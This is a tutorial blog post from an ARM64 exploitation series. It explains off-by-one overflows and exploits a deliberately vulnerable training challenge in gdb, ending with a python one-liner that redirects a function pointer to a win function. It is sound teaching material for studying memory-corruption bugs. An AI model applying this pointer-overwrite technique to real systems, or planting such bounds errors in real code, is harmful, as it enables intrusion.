ARM64 Reversing And Exploitation Part 9 – Exploiting an Off by One Overflow Vulnerability

Hello everyone! In this blog post, we will dive into a new vulnerability called off by one byte by exploiting a simple binary that . But before we get into the details, there are a few things you need to have in place.

  • Familiarity with ARM64 assembly instructions.

  • Familiarity with exploiting stack-based buffer overflow.

  • ARM64 environment with gef and gdb server.

  • Ability to read and understand C code.

If you are new here, we recommend trying out our complete ARM64 Exploitation series.

Introduction

Let’s discuss the off by one byte vulnerability.

As the name suggests, “off by one byte” refers to a specific type of overflow that occurs when only a single byte of data overflows. This can happen due to mistakes in how software handles data boundaries, especially with regard to arrays, strings, or other data structures. Such overflows can occur in both reading and writing data. You might be wondering how a single byte could cause significant damage. Let’s explore an example to find out.

				
					#include <stdio.h>

int main() {
char buffer[10];
for (int i = 0; i <= 10; i++) {
buffer[i] = ‘a’;
}

printf(“The contents of the buffer are: %s\n”, buffer);

return 0;
}











Looking at the above program at first glance, we see that it is a normal program. Let’s see what happens when we compile and execute it.












8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off
The contents of the buffer are: aaaaaaaaaaa











Did you find find the bug ?

The bug is in the loop. The program has a 10-byte buffer, but the loop counter is incremented to write 11 bytes to the buffer, overwriting the null byte. Since the buffer starts at index 0 and has a size of 10 bytes, the loop condition should be i < 10 to prevent exceeding the buffer’s bounds.












for (int i = 0; i < 10; i++) {
buffer[i] = ‘a’;
}











Let’s see an another example.












#include <stdio.h>

void main(){

char s[5] = “Hello”;
for (int i =0 ;i <= 5; i++){
printf(“%c”,s[i]);
}
printf(“\n”);

}











This is also similar to the previous example, but in this case its a read. In the loop, the printf()is reading out of bounds.

Let’s compile and see what this outputs.

















As we can see, after printing ‘Hello,’ we encounter a strange non-printable character. This is because printf() reads one more byte than it should from its index.









Challenge









Let’s consider the below c code.












#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct B2{
int (*ptr)();
char c[128];
};

struct B1{
char data[16];
struct B2 *myStruct;
char data2[128];
};

void secret(){

printf(“Game 0ver! You win :P\n”);

}

void function(){
printf(“Everything is fine.\n”);
}

int main(int argc, char *argv[]){

printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");

if (argc &lt; 3){
    printf("Usage: %s &lt;data&gt; &lt;block_data&gt;\n",argv[0]);
    exit(0);
}

struct B1 *s = malloc(256);
s-&gt;myStruct = malloc(256);

s-&gt;myStruct-&gt;ptr = function;
strncpy(s-&gt;myStruct-&gt;c,argv[2],126);
strncpy(s-&gt;data2,argv[2],126);

// this is where the off-by-one bug occurs
for (int i = 0; i &lt;= 16; i++){
    if (argv[1][i] != 0){
        s-&gt;data[i] = argv[1][i];
    }else{
        break;
    }
}

// call function pointer
s-&gt;myStruct-&gt;ptr();

return 0;

}











You can get this source code from here.

Analyzing this source code, we can see there are two structs B1 and B2.












struct B2{
int (*ptr)();
char c[128];
};











The struct B1 has a struct pointer to B2 .

 











struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);











  • Memory is allocated for a structure of type B1, and additional memory is allocated for B2 pointed to by myStruct.

  • A function pointer in the struct B2 pointed to by s->myStruct is set to point to a function named function.

  • Using strncpy, the code copies up to 126 characters from the command line argument argv[2] into the buffer cof the struct B2.

  • Additionally, it copies up to 126 characters from argv[2] into the bufferdata2 of the struct B1 pointed to by s.












// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
if (argv[1][i] != 0){
s->data[i] = argv[1][i];
}else{
break;
}
}











This is where the main vulnerability occurs. As we saw above, the loop iterates 17 times, thereby copying 17 characters into the data buffer. This will cause an overflow, and the overflown byte will overwrite the least significant byte in the B2 struct pointer.

Look at rough diagrams below.

















This is before the loop.

















After the loop, the last byte of the address is overwritten by the overflowed byte.

Let’s compile and run this code.












gcc off-by-one.c -o off-by-one -no-pie














8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Usage: ./off-by-one <data> <block_data>
8ksec@debian:~/lab/challenges/off_by_one$











We have to provide two arguments. Let’s do that.












8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Everything is fine.











Let’s provide a large input for both arguments.












8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Segmentation fault
8ksec@debian:~/lab/challenges/off_by_one$











Ahh the program crashed. So let’s inspect what happened using gdb.

















Disassembling the main() function, we can see two calls to the strncpy function.

 











struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);











Here, strncpy copies 126 bytes to the buffer in structure B1 and also copies the same to the data2 buffer in the B2 structure.

Let’s put a breakpoint in each of these strncpy and inspect that locations.












gef➤ b *0x0000000000400864
Breakpoint 1 at 0x400864
gef➤ b *0x0000000000400888
Breakpoint 2 at 0x400888











Run the binary inside gdb with our arguments.












gef➤ r AAAAAAA AAAAAAAA



















The first breakpoint is hit. Let’s step over this call using ni. The x0 register will contain the address of the destination buffer.

















We can examine this memory location using the x command.

















We can see our A‘s at 0x4217c8, and before that, we can see an address. This is actually our pointer to the function called function() that prints “Everything is fine”.












struct B2{
int (*ptr)();
char c[128];
};











If you do a disassembly of that address we can confirm that.

















Let’s continue our program.

















We hit the second breakpoint. Let’s step over this call and inspect the memory in x0 register.

 

















We can see our block of “A”s again, and before that, we can see a memory address. The address 0x00000000004217c0 points to the start of the B2 struct, which has the pointer to the function() that prints “Everything is fine.”












struct B1{
char data[16];
struct B2 *myStruct;
char data2[128];
};











After this, we can see our disassembly of our loop.












// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
if (argv[1][i] != 0){
s->data[i] = argv[1][i];
}else{
break;
}
}



















Now put a break point after the loop and see what happened to our struct.












gef➤ b *0x00000000004008f8
Breakpoint 3 at 0x4008f8
gef➤

			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Let’s continue using the <code>c</code> command.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="319" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/15.png?fit=800%2C319&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>The breakpoint has been hit. So, in the loop, the program copied the first block of “A”s we sent as our first input again to the <code>char data[16];</code> buffer.</p><p>Let’s examine the memory.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="366" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/16.png?fit=800%2C366&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>At <code>0x4216b0</code>, we can see our copied “A”s. Now, if we continue the program, it will call the <code>function()</code> and exit normally.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="88" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/17.png?fit=800%2C88&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Let’s see what will happen when we provide a large blocks of “A”s.</p><div>&nbsp;</div>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
				<div>
		<pre>
			<code>
				gef➤    r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Put a breakpoint at the end of the loop and continue the until it completes the loop.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
				<div>
		<pre>
			<code>
				gef➤  b *0x00000000004008f8
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="573" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/18.png?fit=800%2C573&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Let’s examine the memory.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="383" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/19.png?fit=800%2C383&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>We can observe that the loop overwrote the least significant byte of the address pointing to the start of <code>struct B2</code>. The address <code>0x0000000000421741</code> now points to zeroes. If we continue the execution, the program will likely crash because, at the end of the program, it attempts to call the <code>function()</code>that now points to a different location that doesn’t contain a valid memory address.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
				<div>
		<pre>
			<code>
				 s-&gt;myStruct-&gt;ptr();
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="431" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/20.png?fit=800%2C431&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>The program crashed as expected.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
		<h3>Exploitation</h3>		</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>In this challenge, we need to call the <code>secret()</code> method. The way to do this is to start by inserting 17 “A”s to trigger the off-by-one vulnerability. Next, send a large block of input as the second argument and place the address of the <code>secret()</code> function at the location pointed to by the modified structure pointer.</p><p>Let’s do that but we first we need to find the offset to place the address of secret. We can find that by sending a offset pattern.</p><p><a href="https://wiremask.eu/tools/buffer-overflow-pattern-generator/" rel="noreferrer" target="_blank">https://wiremask.eu/tools/buffer-overflow-pattern-generator/</a></p><p>Let’s generate a pattern and send this to the program.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="256" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/21.png?fit=800%2C256&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Load the program inside gdb and put a breakpoint after the loop just like we did before.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="263" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/22.png?fit=800%2C263&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Start the program by passing 17 “A”s (or more) and the pattern we generated.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="60" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/23.png?fit=800%2C60&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="401" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/24.png?fit=800%2C401&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>Now we are one instruction past our breakpoint. Let’s inspect the memory region. The struct will be in the same address as before as it’s running inside gdb.</p><p>Let’s examine the memory.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
				<div>
		<pre>
			<code>
				gef➤  x/50gx 0x00000000004216c8
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="395" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/25.png?fit=800%2C395&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>At <code>0x421738+8</code>, we can observe our pattern, although it’s only overwriting 6 bytes. This is acceptable because we only require four bytes for our address. Let’s attempt to determine the offset at <code>0x421738</code>.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="271" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/26.png?fit=800%2C271&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>It’s 112. So it would be 120 (112+8) for <code>0x421740</code>. Let’s start crafting our final exploit.</p><p>First, send 17 or more ‘A’s as the first argument, followed by 120 junk characters and the address of the <code>secret()</code> function.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="200" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/27.png?fit=800%2C200&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>As there’s no PIE enabled, the address remains the same.</p><p>So let’s try it. We can use python to construct this.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
				<div>
		<pre>
			<code>
				./off-by-one $(python3 -c "print('A' * 17)") $(python3 -c 'print("A" * 120 + "\x84\x07\x40")')
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
														<img alt="" height="72" src="https://i0.wp.com/8ksec.io/wp-content/uploads/2023/11/28.png?fit=800%2C72&amp;ssl=1" width="800" />															</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<p>And here we go, we executed the <code>secret()</code> function.</p>						</div>
			</div>
				</div>
			</div>
	<div>
				<div>
			<div>
			<div>
						<h3>Reference</h3><ul><li><p><a href="https://github.com/Billy-Ellis/Exploit-Challenges/tree/master/rop" rel="noreferrer" target="_blank">https://github.com/Billy-Ellis/Exploit-Challenges/tree/master/rop</a></p></li></ul>						</div>
			</div>
				</div>
			</div>
						</div><p>The post <a href="https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/" rel="noreferrer" target="_blank">ARM64 Reversing And Exploitation Part 9 – Exploiting an Off by One Overflow Vulnerability</a> first appeared on <a href="https://8ksec.io" rel="noreferrer" target="_blank">8kSec</a>.</p>

Article Link: https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/?utm_source=rss&utm_medium=rss&utm_campaign=arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability